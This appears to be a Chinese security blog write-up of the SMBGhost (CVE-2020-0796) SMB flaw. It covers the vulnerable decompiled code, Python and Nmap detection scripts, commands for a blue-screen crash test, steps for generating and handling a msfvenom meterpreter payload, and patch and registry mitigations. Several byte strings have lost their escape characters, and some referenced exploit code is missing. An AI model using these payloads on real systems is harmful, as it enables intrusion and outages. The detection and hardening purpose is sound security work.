CVE-2020-0796 SMB远程代码执行漏洞（分析、验证及加固）

0x00 前言

     最近一段时间一直忙，挺火的 CVE-2020-0796 （永恒之黑）都没来的及复现，今天趁着网快，赶快把漏洞系统下载下，并且准备了 检测 payload 、蓝屏 payload 、提权payload、命令执行payload，复现一波，相比起来，只是payload不同而已，来实现不同的功能，下面进行分析。

0x01 漏洞描述      

     漏洞公告显示，SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。

0x02 漏洞危害等级        

高

0x03 影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

测试机ip：192.168.1.159

0x04 漏洞原理

    漏洞发生在srv2.sys中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。

SMB v3中支持数据压缩,如果SMB Header中的ProtocolId为0x424D53FC也就是0xFC, ‘S’, ‘M’, ‘B’.那么就说明数据是压缩的,这时smb会调用压缩解压处理的函数.

首先SMB会调用srv2!Srv2ReceiveHandler函数接收smb数据包，并根据ProtocoIId设置对应的处理函数。

__int64 __fastcall Srv2ReceiveHandler(__int64 a1, void *Src, __int64 a3, unsigned int a4, unsigned int *a5, char *Srca, struct _SLIST_ENTRY *a7, _QWORD *a8)
{
    ...
    //
    // 这里判断头部ProtocolId
    //
     if ( **((_DWORD **)&v20[15].Next[1].Next + 1) == 'BMSxFC' )
      {
        if ( KeGetCurrentIrql() > 1u )
        {
          v20[14].Next = (_SLIST_ENTRY *)v11;
          v20[2].Next = (_SLIST_ENTRY *)Srv2DecompressMessageAsync;
          v43 = HIDWORD(v20->Next) == 5;
          *((_DWORD *)&v20[3].Next + 2) = 0;
          if ( v43 )
          {
            LOBYTE(v71) = 1;
            LOBYTE(v35) = 1;
            SRV2_PERF_ENTER_EX(&v20[32].Next + 1, v35, 307i64, "Srv2PostToThreadPool", (_DWORD)v71);
          }
          v44 = *((_QWORD *)&v20[3].Next[8].Next + 1);
          v45 = *(_QWORD *)(v44 + 8i64 * KeGetCurrentNodeNumber() + 8);
          if ( !ExpInterlockedPushEntrySList((PSLIST_HEADER)(v45 + 16), v20 + 1) && *(_WORD *)(v45 + 66) )
            RfspThreadPoolNodeWakeIdleWorker(v45);
          goto LABEL_168;
            }
        }
}

产生整数溢出漏洞的代码如下：

__int64 __fastcall Srv2DecompressData(__int64 pData)
{
  __int64 v2; // rax
  COMPRESSION_TRANSFORM_HEADER Header; // xmm0 MAPDST
  __m128i v4; // xmm0
  unsigned int CompressionAlgorithm; // ebp
  __int64 UnComparessBuffer; // rax MAPDST
  int v9; // eax
  int v11; // [rsp+60h] [rbp+8h]
  v11 = 0;
  v2 = *(_QWORD *)(pData + 0xF0);
  if ( *(_DWORD *)(v2 + 0x24) < 0x10u )         // 这里判断数据包长度的最小值
    return 0xC000090Bi64;
  Header = *(COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(v2 + 0x18);// [v2+0x18]中为客户端传进来的Buffer
                                                // [v2+0x24]为数据包长度
  v4 = _mm_srli_si128((__m128i)Header, 8);
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(pData + 0x50) + 0x1F0i64) + 0x8Ci64);
  if ( CompressionAlgorithm != v4.m128i_u16[0] )
    return 0xC00000BBi64;                      
  UnCompressBuffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + v4.m128i_i32[1]), 0i64);// OriginalCompressedSegmentSize + CompressedSegmentSize，这里没有检查相加的值，导致整数溢出，分配一个较小的UnCompressBuffer
  if ( !UnComparessBuffer )
    return 0xC000009Ai64;
  if ( (int)SmbCompressionDecompress(
              CompressionAlgorithm,             // CompressionAlgorithm
              *(_QWORD *)(*(_QWORD *)(pData + 0xF0) + 0x18i64) + (unsigned int)Header.Length + 0x10i64,// CompressedBuffer
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(pData + 0xF0) + 0x24i64) - Header.Length - 0x10),// CompressedBufferSize
              (unsigned int)Header.Length + *(_QWORD *)(UnComparessBuffer + 0x18),// UncompressedBuffer，会传入SmbCompressionDecompress函数进行Decompress处理。
              Header.OriginalCompressedSegmentSize,
              &v11) < 0
    || (v9 = v11, v11 != Header.OriginalCompressedSegmentSize) )
  {
    SrvNetFreeBuffer(UnComparessBuffer);
    return 0xC000090Bi64;
  }
  if ( Header.Length )
  {
    memmove(
      *(void **)(UnComparessBuffer + 24),
      (const void *)(*(_QWORD *)(*(_QWORD *)(pData + 240) + 24i64) + 16i64),
      (unsigned int)Header.Length);
    v9 = v11;
  }
  *(_DWORD *)(UnComparessBuffer + 36) = Header.Length + v9;
  Srv2ReplaceReceiveBuffer(pData, UnComparessBuffer);
  return 0i64;
}

0x05 漏洞检测

已经很多的验证脚本，整体的思路都是验证回包中的特定位置是否包含十六进制的x11x03或x02x00这两个关键字。在存在漏洞的SMB版本的通信回包如下：

python3版POC

import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'x00x00x00xc0xfeSMB@x00x00x00x00x00x00x00x00x00x1fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00$x00x08x00x01x00x00x00x7fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xx00x00x00x02x00x00x00x02x02x10x02"x02$x02x00x03x02x03x10x03x11x03x00x00x00x00x01x00&x00x00x00x00x00x01x00 x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03x00
x00x00x00x00x00x01x00x00x00x01x00x00x00x01x00x00x00x00x00x00x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)
    if res[68:70] != b"x11x03" or res[70:72] != b"x02x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

也可以使用nmap的脚本进行验证，依托nmap的强大框架，更方便。

local smb = require "smb"
local stdnse = require "stdnse"
local nmap = require "nmap"

description = [[
smb-protocols script modified to apply check for CVE-2020-0796 by psc4re. 
Attempts to list the supported protocols and dialects of a SMB server.
Packet check based on https://github.com/ollypwn/SMBGhost/
The script attempts to initiate a connection using the dialects:
* NT LM 0.12 (SMBv1)
* 2.02       (SMBv2)
* 2.10       (SMBv2)
* 3.00       (SMBv3)
* 3.02       (SMBv3)
* 3.11       (SMBv3)
Additionally if SMBv1 is found enabled, it will mark it as insecure. This
script is the successor to the (removed) smbv2-enabled script.
]]

---
-- @usage nmap -p445 --script smb-protocols <target>
-- @usage nmap -p139 --script smb-protocols <target>
--
-- @output
-- | smb-protocols:
-- |   dialects:
-- |     NT LM 0.12 (SMBv1) [dangerous, but default]
-- |     2.02
-- |     2.10
-- |     3.00
-- |     3.02
-- |_    3.11 (SMBv3.11) compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost
--
-- @xmloutput
-- <table key="dialects">
-- <elem>NT LM 0.12 (SMBv1) [dangerous, but default]</elem>
-- <elem>2.02</elem>
-- <elem>2.10</elem>
-- <elem>3.00</elem>
-- <elem>3.02</elem>
-- <elem>3.11 (SMBv3.11) [Potentially Vulnerable to CVE-2020-0796 Coronablue]</elem>
-- </table>
---

author = "Paulino Calderon (Modified by Psc4re)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"safe", "discovery"}

hostrule = function(host)
  return smb.get_port(host) ~= nil
end

action = function(host,port)
  local status, supported_dialects, overrides
  local output = stdnse.output_table()
  overrides = {}
  status, supported_dialects = smb.list_dialects(host, overrides)
  if status then
    for i, v in pairs(supported_dialects) do -- Mark SMBv1 as insecure
      if v == "NT LM 0.12" then
        supported_dialects[i] = v .. " (SMBv1) [dangerous, but default]"
      end
      if v == "3.11" then
        local msg 
        local response
        local compresionalg
        local comp
        msg = 'x00x00x00xc0xfeSMB@x00x00x00x00x00x00x00x00x00x1fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00$x00x08x00x01x00x00x00x7fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xx00x00x00x02x00x00x00x02x02x10x02"x02$x02x00x03x02x03x10x03x11x03x00x00x00x00x01x00&x00x00x00x00x00x01x00 x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03x00
x00x00x00x00x00x01x00x00x00x01x00x00x00x01x00x00x00x00x00x00x00'
        local socket = nmap.new_socket()
        socket:set_timeout(3000)
        socket:connect(host.ip,445)
        socket:send(msg)
        response,data = socket:receive()
        compressionalg=  string.sub(data,-2)    
        if compressionalg == "x01x00" then
          comp = "LZNT1 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        elseif compressionalg == "x02x00" then
          comp ="LZ77 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        elseif compressionalg == "x00x00" then
          comp ="No Compression Not Vulnerable"
        elseif compressionalg == "x03x00" then
          comp="LZ77+Huffman compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        end
        supported_dialects[i] = v .." " .. comp
      end
    end
    output.dialects = supported_dialects
  end

  if #output.dialects>0 then
    return output
  else
    stdnse.debug1("No dialects were accepted")
    if nmap.verbosity()>1 then
      return "No dialects accepted. Something may be blocking the responses"
    end
  end
end

也可以使用奇安信的POC检测脚本进行测试：

0x06 本地提权POC

成功提升权限至 nt authoritysystem

0x07 蓝屏测试

这边节省时间，去采集几张图片，git下载地址依然放给大家，请勿用于破坏，违者自己承担后果。

首先，git下载蓝屏测试的 poc
安装好依赖

攻击机器Kali ip：192.168.1.160

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install

利用脚本进行蓝屏攻击

python3 gistfile1.py 192.168.1.159

0x08 远程命令执行shell

首先使用systeminfo看一下补丁（KB4551762）
kali下生成python版本的反弹shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py

查看生成的shellcode

cat exp.py

将生成的exp.py代码中的变量buf全部替换成变量USER_PAYLOAD，然后将所有代码粘贴覆盖下面的代码处：

use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set lport 2333
set rhost 192.168.1.106 （目标ip）
run

0x09 漏洞修复

1. 更新，完成补丁的安装。

操作步骤：设置->更新和安全->Windows更新，点击“检查更新”。

2.微软给出了临时的应对办法：
运行regedit.exe，打开注册表编辑器，在HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。

3.对SMB通信445端口进行封禁。4.补丁链接https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762

参考连接

• https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
•  https://github.com/danigargu/CVE-2020-0796
•  http://dl.qianxin.com/skylar6
•  https://github.com/ollypwn/SMBGhost
•  https://github.com/chompie1337/SMBGhost_RCE_PoC
•  https://github.com/danigargu/CVE-2020-0796
•  https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

转载请注明：Adminxe's Blog » CVE-2020-0796 SMB远程代码执行漏洞（分析、验证及加固）